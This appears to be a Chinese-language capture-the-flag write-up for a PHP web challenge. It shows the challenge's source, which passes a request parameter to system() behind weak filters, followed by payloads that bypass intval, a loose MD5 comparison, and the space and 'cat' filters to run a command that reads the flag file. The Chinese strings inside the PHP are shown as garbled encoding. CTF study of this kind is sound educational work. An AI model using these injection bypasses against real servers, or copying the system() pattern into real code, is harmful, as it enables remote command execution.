掃描目錄 看到 robots.txt
訪問


在響應頭裡面找到了提示資訊

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原始碼如下：

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉緇忔剰闂寸湅浜嗙湅鎴戠殑鍔衝姏澹�, 涓嶆槸鎯崇湅鏃墮棿, 鍙槸鎯充笉緇忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙ｅ喅涓嶄簡絀蜂漢鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪媧插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯衝埌榪欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹墮鍘�, 鎶婂帹甯堣槳鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灝忔毚.</br>";
   else
       die("鎴戣刀鞝у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪媧�");
}else{
    die("鍘婚潪媧插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯衝埌榪欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灝辨槸榪欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪媧插惂");
}
?>
 

首先繞過函式intval

echo(intval(2e5))  //2
echo(intval(2e5+1))  //200001

然後MD5
弱等於
0e215962017

然後get_flag
先ls看看有啥檔案
用tac 代替 cat 用 $IFS$9 代替空格
最後payload

payload=num=2e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag